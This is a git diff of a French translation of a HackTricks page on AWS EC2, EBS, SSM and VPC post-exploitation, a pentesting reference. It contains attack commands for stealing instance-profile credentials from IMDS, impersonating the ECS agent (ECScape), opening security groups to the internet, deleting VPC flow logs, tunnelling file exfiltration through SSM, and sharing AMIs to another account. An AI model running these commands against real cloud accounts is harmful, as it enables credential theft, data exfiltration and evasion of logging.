mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
@@ -1,29 +1,29 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Post Exploitation
|
||||
# AWS - EC2, EBS, SSM & VPC Post-exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Miroir VPC malveillant -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
Le traffic mirroring VPC **duplique le trafic entrant et sortant des instances EC2 au sein d'un VPC** sans nécessiter d'installer quoi que ce soit sur les instances elles-mêmes. Ce trafic dupliqué est couramment envoyé vers un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.\
|
||||
Un attaquant pourrait abuser de cela pour capturer tout le trafic et en extraire des informations sensibles :
|
||||
VPC traffic mirroring **duplique le trafic entrant et sortant des instances EC2 au sein d'un VPC** sans nécessiter l'installation de quoi que ce soit sur les instances elles‑mêmes. Ce trafic dupliqué serait communément envoyé vers quelque chose comme un network intrusion detection system (IDS) pour analyse et surveillance.\
|
||||
Un attaquant pourrait abuser de cela pour capturer l'ensemble du trafic et obtenir des informations sensibles :
|
||||
|
||||
For more information check this page:
|
||||
Pour plus d'informations, consultez cette page :
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copy Running Instance
|
||||
### Copier une instance en cours d'exécution
|
||||
|
||||
Les instances contiennent généralement des informations sensibles. Il existe différentes façons d'y accéder (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Cependant, une autre façon d'examiner ce qu'elles contiennent est de **créer une AMI et de lancer une nouvelle instance (même dans votre propre compte) à partir de celle-ci** :
|
||||
Les instances contiennent généralement des informations sensibles. Il existe différentes façons d'y accéder (voir [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Cependant, une autre manière de vérifier ce qu'elles contiennent est de **créer une AMI et de lancer une nouvelle instance (même dans votre propre compte) à partir de celle‑ci**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Les snapshots sont des sauvegardes de volumes**, qui contiennent généralement **des informations sensibles**, donc les vérifier devrait révéler ces informations.\
|
||||
Si vous trouvez un **volume sans snapshot** vous pouvez : **créer un snapshot** et effectuer les actions suivantes ou simplement **le monter dans une instance** à l'intérieur du compte :
|
||||
**Snapshots are backups of volumes**, qui contiennent généralement des **informations sensibles**, donc les vérifier devrait révéler ces informations.\
|
||||
Si vous trouvez un **volume without a snapshot** vous pouvez : **créer un snapshot** et effectuer les actions suivantes ou simplement **le monter dans une instance** à l'intérieur du compte :
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Exporter une AMI EC2 directement vers S3 en utilisant `CreateStoreImageTask` pour obtenir une image disque brute sans partage de snapshot. Cela permet une forensique hors ligne complète ou le vol de données tout en laissant la mise en réseau de l'instance intacte.
|
||||
Exporter une EC2 AMI directement vers S3 en utilisant `CreateStoreImageTask` pour obtenir une image disque brute sans partage de snapshot. Cela permet des analyses forensiques complètes hors ligne ou le vol de données tout en laissant le réseau de l'instance intact.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Créer un EC2 Instance Connect Endpoint, autoriser l'ingress, et injecter des clés SSH éphémères pour accéder aux instances privées via un tunnel géré. Offre des chemins de mouvement latéral rapides sans ouvrir de ports publics.
|
||||
Créer un EC2 Instance Connect Endpoint, autoriser l'ingress, et injecter des clés SSH éphémères pour accéder aux instances privées via un tunnel géré. Donne des chemins de mouvement latéral rapides sans ouvrir de ports publics.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Déplacer l'adresse IP privée secondaire d'un ENI victime vers un ENI contrôlé par l'attaquant pour usurper des hôtes de confiance allowlistés par IP. Permet de contourner des ACL internes ou des règles SG basées sur des adresses spécifiques.
|
||||
Déplacer l'IP privée secondaire d'un ENI victime vers un ENI contrôlé par l'attaquant pour usurper des hôtes de confiance répertoriés par IP. Permet de contourner des ACLs internes ou des règles SG liées à des adresses spécifiques.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Réassocier un Elastic IP de l'instance victime à l'attaquant afin d'intercepter le trafic entrant ou d'initier des connexions sortantes qui semblent provenir d'IP publiques de confiance.
|
||||
Réassocier un Elastic IP de l'instance victime à l'attaquant pour intercepter le trafic entrant ou initier des connexions sortantes qui semblent provenir d'IP publiques de confiance.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Si une règle de security group référence une customer-managed prefix list, ajouter des CIDR de l'attaquant à la liste étend silencieusement l'accès à toutes les règles SG dépendantes sans modifier le SG lui-même.
|
||||
Si une règle de security group référence une customer-managed prefix list, l'ajout de CIDR de l'attaquant à la liste étend silencieusement l'accès à toutes les règles SG dépendantes sans modifier le SG lui-même.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Créer des gateway ou interface VPC endpoints pour retrouver l'accès sortant depuis des subnets isolés. Tirer parti des AWS-managed private links contourne l'absence de contrôles IGW/NAT pour l'exfiltration de données.
|
||||
Créer des gateway ou interface VPC endpoints pour retrouver l'accès sortant depuis des subnets isolés. Tirer parti des private links gérés par AWS permet de contourner l'absence de contrôles IGW/NAT pour l'exfiltration de données.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Un attaquant disposant de la permission `ec2:AuthorizeSecurityGroupIngress` peut ajouter des règles entrantes aux security groups (par exemple, autoriser `tcp:80` depuis `0.0.0.0/0`), exposant ainsi des services internes à l'Internet public ou à des réseaux autrement non autorisés.
|
||||
Un attaquant disposant de la permission `ec2:AuthorizeSecurityGroupIngress` peut ajouter des règles entrantes aux security groups (par exemple, autoriser tcp:80 depuis 0.0.0.0/0), exposant ainsi des services internes à l'Internet public ou à des réseaux autrement non autorisés.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Un attaquant disposant des permissions ec2:ReplaceNetworkAclEntry (ou similaires) peut modifier les Network ACLs (NACLs) d'un sous-réseau pour les rendre très permissives — par exemple en autorisant 0.0.0.0/0 sur des ports critiques — exposant ainsi l'ensemble de la plage du sous-réseau à l'Internet ou à des segments réseau non autorisés. Contrairement aux Security Groups, qui sont appliqués par instance, les NACLs sont appliqués au niveau du sous-réseau, donc modifier un NACL restrictif peut avoir un rayon d'impact beaucoup plus large en permettant l'accès à bien plus d'hôtes.
|
||||
Un attaquant disposant de l'autorisation ec2:ReplaceNetworkAclEntry (ou équivalente) peut modifier les Network ACLs (NACLs) d'un subnet pour les rendre très permissives — par exemple en autorisant 0.0.0.0/0 sur des ports critiques — exposant ainsi l'ensemble de la plage du subnet à Internet ou à des segments réseau non autorisés. Contrairement aux Security Groups, qui sont appliqués par instance, les NACLs sont appliqués au niveau du subnet, donc modifier un NACL restrictif peut avoir un rayon d'impact beaucoup plus large en permettant l'accès à beaucoup plus d'hôtes.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,100 +131,104 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Un attaquant disposant des permissions `ec2:Delete*` et `iam:Remove*` peut supprimer des ressources d'infrastructure et des configurations critiques — par exemple key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Cela peut provoquer une interruption de service immédiate, une perte de données et la perte de preuves forensiques.
|
||||
Un attaquant disposant des permissions ec2:Delete* et iam:Remove* peut supprimer des ressources et configurations d'infrastructure critiques — par exemple key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Cela peut provoquer une interruption immédiate du service, une perte de données et la perte de preuves médico-légales.
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Exfiltration inter-compte
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
|
||||
Dirigez VPC Flow Logs vers un S3 bucket contrôlé par l'attaquant pour collecter en continu des métadonnées réseau (source/destination, ports) en dehors du compte victime pour une reconnaissance à long terme.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Exfiltration de données
|
||||
### Data Exfiltration
|
||||
|
||||
#### Exfiltration DNS
|
||||
#### DNS Exfiltration
|
||||
|
||||
Même si vous verrouillez une EC2 pour empêcher tout trafic sortant, elle peut toujours **exfil via DNS**.
|
||||
Même si vous verrouillez une instance EC2 de sorte qu'aucun trafic ne puisse sortir, elle peut toujours **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs ne l'enregistreront pas.**
|
||||
- Vous n'avez pas accès aux logs DNS AWS.
|
||||
- Désactivez ceci en réglant "enableDnsSupport" à false avec:
|
||||
- **VPC Flow Logs ne l'enregistrent pas**.
|
||||
- Vous n'avez pas accès aux logs DNS d'AWS.
|
||||
- Désactivez ceci en réglant "enableDnsSupport" sur false avec:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via appels API
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Un attaquant pourrait appeler des endpoints API d'un compte qu'il contrôle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les logs Cloudtrail.
|
||||
|
||||
### Security group ouvert
|
||||
### Open Security Group
|
||||
|
||||
Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc vers ECS
|
||||
### Privesc to ECS
|
||||
|
||||
Il est possible d'exécuter une instance EC2 et de l'enregistrer pour être utilisée afin d'exécuter des instances ECS, puis de voler les données des instances ECS.
|
||||
Il est possible d’exécuter une instance EC2 et de l’enregistrer pour qu’elle soit utilisée pour lancer des instances ECS, puis de voler les données des instances ECS.
|
||||
|
||||
Pour [**plus d'informations, voir ceci**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
Pour [**plus d'informations, consultez ceci**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
|
||||
|
||||
Une compromission à l'intérieur de n'importe quelle tâche ECS s'exécutant sur une instance conteneur EC2 suffit typiquement à pivoter vers le rôle host et les rôles IAM associés à toutes les autres tâches de ce nœud. Parce qu'il n'y a **pas d'isolation des tâches pour ECS-on-EC2**, chaque tâche peut interroger par défaut le EC2 Instance Metadata Service (IMDS), voler le instance profile de la container instance, puis parler le même protocole WebSocket que l'agent ECS utilise vers le control plane (le **ECScape** primitive) pour demander les credentials de chaque tâche actuellement planifiée sur cet hôte. Latacora a documenté ce workflow dans leur [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), que le résumé offensif suivant condense.
|
||||
Sur ECS avec le launch type EC2, le control plane suppose chaque task role et pousse les credentials temporaires vers l’ECS agent via l’Agent Communication Service (ACS) sur WebSocket. L’agent sert ensuite ces credentials aux containers via le task metadata endpoint (169.254.170.2). La recherche ECScape montre que si un container peut atteindre IMDS et voler le **instance profile**, il peut usurper l’agent via ACS et recevoir **tous les task role credentials** sur cet hôte, y compris les credentials de **task execution role** qui ne sont pas exposés via le metadata endpoint.
|
||||
|
||||
#### Chaîne d'attaque
|
||||
#### Attack chain
|
||||
|
||||
1. **Voler le instance profile depuis l'intérieur du conteneur.** Supposons qu'IMDSv2 soit requis, donc demandez un token puis récupérez le profile.
|
||||
1. **Steal the container instance role from IMDS.** L’accès à IMDS est requis pour obtenir le host role utilisé par l’ECS agent.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Utiliser le rôle de la container instance pour usurper l'agent ECS.** Avec ces credentials vous pouvez parler au canal WebSocket non documenté que l'agent ECS utilise ; le control plane vous fait confiance en tant que véritable agent et délivre **tous les credentials IAM des tâches** à votre processus. Vous pouvez maintenant exécuter localement des tâches à privilèges supérieurs, dumper les secrets d'environnement des tâches, ou mettre à jour services/tasks pour redéployer des workloads que vous pouvez inspecter entièrement.
|
||||
2. **Discover the ACS poll endpoint and required identifiers.** En utilisant les credentials du instance role, appelez `ecs:DiscoverPollEndpoint` pour obtenir l’endpoint ACS et collecter des identifiants tels que le cluster ARN et le container instance ARN. Le cluster ARN est exposé via le task metadata (169.254.170.2/v4/), tandis que le container instance ARN peut être obtenu via l’agent introspection API ou (si autorisé) `ecs:ListContainerInstances`.
|
||||
3. **Impersonate the ECS agent over ACS.** Initiez un WebSocket signé SigV4 vers le poll endpoint et incluez `sendCredentials=true`. ECS accepte la connexion comme une session agent valide et commence à streamer des messages `IamRoleCredentials` pour **toutes** les tasks sur l’instance. Cela inclut les credentials de task execution role, qui peuvent débloquer des pulls ECR, des récupérations Secrets Manager, ou l’accès CloudWatch Logs.
|
||||
|
||||
#### Atteignabilité d'IMDS avec IMDSv2 + hop limit 1
|
||||
**Find the PoC in <https://github.com/naorhaziz/ecscape>**
|
||||
|
||||
Configurer IMDSv2 avec `HttpTokens=required` et `HttpPutResponseHopLimit=1` ne bloque que les tâches qui vivent derrière un saut supplémentaire (Docker bridge). Les autres modes réseau restent à un seul saut du Nitro controller et reçoivent toujours des réponses :
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
Configurer IMDSv2 avec `HttpTokens=required` et `HttpPutResponseHopLimit=1` bloque seulement les tasks qui vivent derrière un hop supplémentaire (Docker bridge). Les autres modes réseau restent à un hop du Nitro controller et reçoivent toujours des réponses :
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Chaque tâche obtient sa propre ENI qui est toujours à un saut de l'IMDS, donc les tokens et les réponses metadata arrivent correctement. |
|
||||
| `host` | ✅ | Les tâches partagent le namespace de l'hôte, donc elles voient la même distance en sauts que l'instance EC2. |
|
||||
| `bridge` | ❌ | Les réponses meurent sur le Docker bridge car ce saut supplémentaire épuise le hop limit. |
|
||||
| `awsvpc` | ✅ | Chaque task obtient son propre ENI qui est toujours à un seul hop d’IMDS, donc les tokens et réponses metadata arrivent avec succès. |
|
||||
| `host` | ✅ | Les tasks partagent le namespace de l’hôte, elles voient donc la même distance en hops que l’instance EC2. |
|
||||
| `bridge` | ❌ | Les réponses meurent sur le Docker bridge parce que ce hop supplémentaire épuise la limite de hops. |
|
||||
|
||||
Donc, **ne supposez jamais que hop limit 1 protège les workloads awsvpc ou host-mode** — testez toujours depuis l'intérieur de vos conteneurs.
|
||||
Donc, **ne supposez jamais que hop limit 1 protège les workloads awsvpc ou host-mode** — testez toujours depuis l’intérieur de vos containers.
|
||||
|
||||
#### Détecter les blocages d'IMDS par mode réseau
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks :** Les security groups, NACLs ou ajustements de routage ne peuvent pas bloquer l'adresse link-local 169.254.169.254 parce que Nitro l'injecte sur l'hôte. Vérifiez `/etc/ecs/ecs.config` pour `ECS_AWSVPC_BLOCK_IMDS=true`. Si le flag est absent (valeur par défaut) vous pouvez curl IMDS directement depuis la tâche. Si il est défini, pivotez dans le namespace host/agent pour le rétablir ou exécutez vos outils en dehors d'awsvpc.
|
||||
- **awsvpc tasks :** Les security groups, NACLs ou modifications de routage ne peuvent pas bloquer l’adresse link-local 169.254.169.254 parce que Nitro l’injecte sur l’hôte. Vérifiez `/etc/ecs/ecs.config` pour `ECS_AWSVPC_BLOCK_IMDS=true`. Si le flag est absent (par défaut) vous pouvez curl IMDS directement depuis la task. S’il est défini, pivotez dans le namespace host/agent pour le rétablir ou exécutez vos outils en dehors d’awsvpc.
|
||||
|
||||
- **bridge mode :** Quand les requêtes metadata échouent même si hop limit 1 est configuré, les défenseurs ont probablement inséré une règle DROP `DOCKER-USER` telle que `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Lister `iptables -S DOCKER-USER` l'expose, et un accès root vous permet de supprimer ou de réordonner la règle avant d'interroger IMDS.
|
||||
- **bridge mode :** Quand les requêtes metadata échouent même si hop limit 1 est configuré, les défenseurs ont probablement inséré une règle DROP `DOCKER-USER` telle que `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Lister `iptables -S DOCKER-USER` l’expose, et l’accès root permet de supprimer ou réordonner la règle avant d’interroger IMDS.
|
||||
|
||||
- **host mode :** Inspectez la configuration de l'agent pour `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Ce réglage supprime complètement les task IAM roles, donc vous devez soit le réactiver, passer à des tâches awsvpc, soit voler des credentials via un autre processus sur l'hôte. Quand la valeur est `true` (par défaut), chaque process en host-mode — y compris les conteneurs compromis — peut atteindre IMDS à moins que des filtres eBPF/cgroup sur-mesure ciblent `169.254.169.254` ; cherchez des programmes tc/eBPF ou des règles iptables référant cette adresse.
|
||||
- **host mode :** Inspectez la configuration de l’agent pour `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Ce réglage supprime complètement les task IAM roles, vous devez soit le réactiver, passer à des tasks awsvpc, soit voler des credentials via un autre process sur l’hôte. Quand la valeur est `true` (par défaut), chaque process en host-mode — y compris les containers compromis — peut atteindre IMDS à moins que des filtres eBPF/cgroup personnalisés ne ciblent `169.254.169.254` ; cherchez des programmes tc/eBPF ou des règles iptables référant cette adresse.
|
||||
|
||||
Latacora a même publié [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) que vous pouvez déposer dans un compte cible pour énumérer quels modes réseau exposent encore les metadata et planifier votre prochain saut en conséquence.
|
||||
Latacora a même publié du [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) que vous pouvez déposer dans un compte cible pour énumérer quels modes réseau exposent encore le metadata et planifier votre prochaine étape en conséquence.
|
||||
|
||||
Une fois que vous comprenez quels modes exposent IMDS, vous pouvez planifier votre chemin de post-exploitation : ciblez n'importe quelle tâche ECS, demandez le instance profile, usurpez l'agent, et récoltez les rôles de toutes les autres tâches pour mouvement latéral ou persistance à l'intérieur du cluster.
|
||||
Une fois que vous comprenez quels modes exposent IMDS, vous pouvez planifier votre chemin post-exploitation : ciblez n’importe quelle ECS task, demandez le instance profile, usurpez l’agent et récoltez tous les autres task role pour du mouvement latéral ou de la persistance à l’intérieur du cluster.
|
||||
|
||||
### Remove VPC flow logs
|
||||
### Supprimer VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
Autorisations requises :
|
||||
Required permissions:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
En plus de l'exécution de commandes, SSM permet le tunneling de trafic qui peut être abusé pour pivoting depuis des instances EC2 qui n'ont pas d'accès réseau à cause des Security Groups ou des NACLs.
|
||||
Un des scénarios où cela est utile est le pivoting depuis un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un cluster EKS privé.
|
||||
En plus de l'exécution de commandes, SSM permet le tunneling de trafic, ce qui peut être abusé pour pivoter depuis des instances EC2 qui n'ont pas d'accès réseau à cause des Security Groups ou des NACLs.
|
||||
L'un des scénarios où cela est utile est de pivoter depuis un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un cluster EKS privé.
|
||||
|
||||
> Pour démarrer une session, vous devez avoir installé le SessionManagerPlugin : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
@@ -233,9 +237,9 @@ Un des scénarios où cela est utile est le pivoting depuis un [Bastion Host](ht
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Récupérer les identifiants temporaires AWS du Bastion EC2 avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Transférer les identifiants vers votre machine dans le fichier `$HOME/.aws/credentials` en tant que profil `[bastion-ec2]`
|
||||
5. Se connecter à EKS en tant que Bastion EC2 :
|
||||
3. Obtenez les identifiants temporaires AWS du Bastion EC2 avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Transférez les identifiants sur votre machine dans le fichier `$HOME/.aws/credentials` en tant que profil `[bastion-ec2]`
|
||||
5. Connectez-vous à EKS en tant que Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
@@ -244,43 +248,43 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Le trafic de l'outil `kubectl` est maintenant acheminé via le tunnel SSM à travers le Bastion EC2 et vous pouvez accéder au cluster EKS privé depuis votre propre machine en exécutant :
|
||||
8. Le trafic de l'outil `kubectl` est maintenant redirigé via le tunnel SSM passant par le Bastion EC2 et vous pouvez accéder au cluster EKS privé depuis votre machine en exécutant :
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Notez que les connexions SSL échoueront à moins que vous ne définissiez le flag `--insecure-skip-tls-verify ` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelisé via le tunnel sécurisé AWS SSM, vous êtes protégé contre tout type d'attaque MitM.
|
||||
Notez que les connexions SSL échoueront à moins que vous ne définissiez le flag `--insecure-skip-tls-verify ` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelisé via le tunnel sécurisé AWS SSM, vous êtes protégé contre toute forme d'attaques MitM.
|
||||
|
||||
Enfin, cette technique n'est pas spécifique à l'attaque de clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers n'importe quel autre service AWS ou une application personnalisée.
|
||||
Enfin, cette technique n'est pas spécifique à l'attaque de clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivot vers n'importe quel autre service AWS ou une application personnalisée.
|
||||
|
||||
---
|
||||
|
||||
#### Transfert de port rapide Local ↔️ distant (AWS-StartPortForwardingSession)
|
||||
#### Transfert de port local ↔️ distant rapide (AWS-StartPortForwardingSession)
|
||||
|
||||
Si vous avez seulement besoin de rediriger **un seul port TCP depuis l'instance EC2 vers votre hôte local** vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre hôte distant requis) :
|
||||
Si vous avez seulement besoin de rediriger **un seul port TCP depuis l'instance EC2 vers votre hôte local** vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre d'hôte distant requis) :
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
La commande établit un tunnel bidirectionnel entre votre workstation (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **sans ouvrir de règles Security-Group entrantes**.
|
||||
La commande établit un tunnel bidirectionnel entre votre poste de travail (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **sans ouvrir de règles Security-Group entrantes**.
|
||||
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Sur l'instance, démarrez un serveur HTTP rapide pointant vers le répertoire que vous voulez exfiltrer :
|
||||
1. Sur l'instance, démarrez un serveur HTTP rapide pointant vers le répertoire que vous souhaitez exfiltrer :
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Depuis votre workstation, récupérez les fichiers via le tunnel SSM :
|
||||
2. Depuis votre poste de travail, récupérez les fichiers via le SSM tunnel :
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Accès aux applications web internes (ex. Nessus)**
|
||||
* **Accéder aux applications web internes (par ex. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -288,7 +292,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Astuce : compressez et chiffrez les preuves avant exfiltrating afin que CloudTrail n'enregistre pas le contenu en clair :
|
||||
Astuce : compressez et cryptez les preuves avant de les exfiltrer afin que CloudTrail n'enregistre pas le contenu en clair :
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -297,9 +301,9 @@ Astuce : compressez et chiffrez les preuves avant exfiltrating afin que CloudTra
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Rechercher des informations sensibles dans des AMIs publiques et privées
|
||||
### Rechercher des informations sensibles dans les AMIs publiques et privées
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir des AMIs ciblées, le montage de leurs volumes et l'analyse à la recherche de secrets potentiels ou de données sensibles.
|
||||
